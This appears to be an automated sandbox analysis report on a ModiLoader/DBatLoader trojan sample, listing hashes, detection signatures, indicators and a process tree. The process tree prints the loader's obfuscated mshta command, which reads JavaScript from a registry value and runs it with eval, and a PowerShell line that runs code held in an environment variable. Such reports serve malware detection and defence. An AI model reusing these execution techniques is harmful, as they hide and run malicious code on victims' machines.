modiloader | ea3bac4910e939df0f0ea046400ee909fef5c81cfac46e2052475b73a6673c8e

General

Target
ea3bac4910e939df0f0ea046400ee909fef5c81cfac46e2052475b73a6673c8e.exe
Size 466KB
Sample221002-25cgnsgagk
SHA256 ea3bac4910e939df0f0ea046400ee909fef5c81cfac46e2052475b73a6673c8e
MD5 6652e5311f8634a155e0a1e85d641247
SHA1 7d8eeb7a09ae58077fbce8938f8fcffb78f257ac
SHA512 cad22461a366e908452296c3dae6b52909decaf541ea35ccad4e4ed2dd9a5f88e16e5e6fb3162bce55eea713671e7449e1d3d93e50bd5132263733db5781ae14
SSDEEP 6144:XAcOoDE/uV4vdBX2+hGcw/Ng+BuHf3E36tvfg+MSkZtSW+:JOME/u+vdBHQjBuHfNtA+MSdX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3040	3884	mshta.exe	115

ModiLoader Second Stage 3 IoCs

resource	yara_rule
behavioral2/memory/740-133-0x0000000000400000-0x000000000047B000-memory.dmp	modiloader_stage2
behavioral2/memory/740-135-0x0000000000080000-0x0000000000140000-memory.dmp	modiloader_stage2
behavioral2/memory/740-146-0x0000000000080000-0x0000000000140000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
1232	740	WerFault.exe	82
3736	740	WerFault.exe	82
3132	740	WerFault.exe	82
4504	740	WerFault.exe	82
3468	740	WerFault.exe	82
3400	740	WerFault.exe	82
1972	740	WerFault.exe	82
4604	740	WerFault.exe	82
4588	740	WerFault.exe	82
1776	740	WerFault.exe	82
4584	740	WerFault.exe	82
4164	740	WerFault.exe	82
2292	740	WerFault.exe	82
1880	740	WerFault.exe	82
1048	740	WerFault.exe	82

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4444	powershell.exe
4444	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4444	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 4444	3040	mshta.exe	117
PID 3040 wrote to memory of 4444	3040	mshta.exe	117
PID 3040 wrote to memory of 4444	3040	mshta.exe	117

C:\Users\Admin\AppData\Local\Temp\ea3bac4910e939df0f0ea046400ee909fef5c81cfac46e2052475b73a6673c8e.exe
"C:\Users\Admin\AppData\Local\Temp\ea3bac4910e939df0f0ea046400ee909fef5c81cfac46e2052475b73a6673c8e.exe"
1⤵
PID:740
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 684
  2⤵
  - Program crash
  PID:1232
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 744
  2⤵
  - Program crash
  PID:3736
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 496
  2⤵
  - Program crash
  PID:3132
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 684
  2⤵
  - Program crash
  PID:4504
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 812
  2⤵
  - Program crash
  PID:3468
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 828
  2⤵
  - Program crash
  PID:3400
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 868
  2⤵
  - Program crash
  PID:1972
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 916
  2⤵
  - Program crash
  PID:4604
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 904
  2⤵
  - Program crash
  PID:4588
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 896
  2⤵
  - Program crash
  PID:1776
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 944
  2⤵
  - Program crash
  PID:4584
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 956
  2⤵
  - Program crash
  PID:4164
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 956
  2⤵
  - Program crash
  PID:2292
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 988
  2⤵
  - Program crash
  PID:1880
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 1036
  2⤵
  - Program crash
  PID:1048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 740 -ip 740
1⤵
PID:1616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 740 -ip 740
1⤵
PID:4404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 740 -ip 740
1⤵
PID:1568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 740 -ip 740
1⤵
PID:1724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 740 -ip 740
1⤵
PID:2240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 740 -ip 740
1⤵
PID:824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 740 -ip 740
1⤵
PID:204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 740 -ip 740
1⤵
PID:2916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 740 -ip 740
1⤵
PID:4092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 740 -ip 740
1⤵
PID:2288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 740 -ip 740
1⤵
PID:4700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 740 -ip 740
1⤵
PID:3540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 740 -ip 740
1⤵
PID:1112

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:ljasA7EO="5dKE7uk";E8v=new%20ActiveXObject("WScript.Shell");jEiVBn0P="8PUHzDuQLv";u99LBZ=E8v.RegRead("HKLM\\software\\Wow6432Node\\yOdlyAd\\1DBbGP53");fUddrQ8nA="7A2gQe";eval(u99LBZ);MtrKB18Y="RED7eOLCz";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:lwlcqib
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 740 -ip 740
1⤵
PID:4344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 740 -ip 740
1⤵
PID:4156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/740-132-0x0000000002830000-0x0000000002862000-memory.dmp

Download

memory/740-133-0x0000000000400000-0x000000000047B000-memory.dmp

Download

memory/740-134-0x0000000002830000-0x0000000002862000-memory.dmp

Download

memory/740-135-0x0000000000080000-0x0000000000140000-memory.dmp

Download

memory/740-146-0x0000000000080000-0x0000000000140000-memory.dmp

Download

memory/4444-139-0x0000000005970000-0x0000000005F98000-memory.dmp

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memory/4444-138-0x0000000002EA0000-0x0000000002ED6000-memory.dmp

Download

memory/4444-140-0x0000000005810000-0x0000000005832000-memory.dmp

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memory/4444-141-0x0000000006010000-0x0000000006076000-memory.dmp

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memory/4444-142-0x0000000006080000-0x00000000060E6000-memory.dmp

Download

memory/4444-143-0x0000000006640000-0x000000000665E000-memory.dmp

Download

memory/4444-144-0x0000000007D50000-0x00000000083CA000-memory.dmp

Download

memory/4444-145-0x0000000007700000-0x000000000771A000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads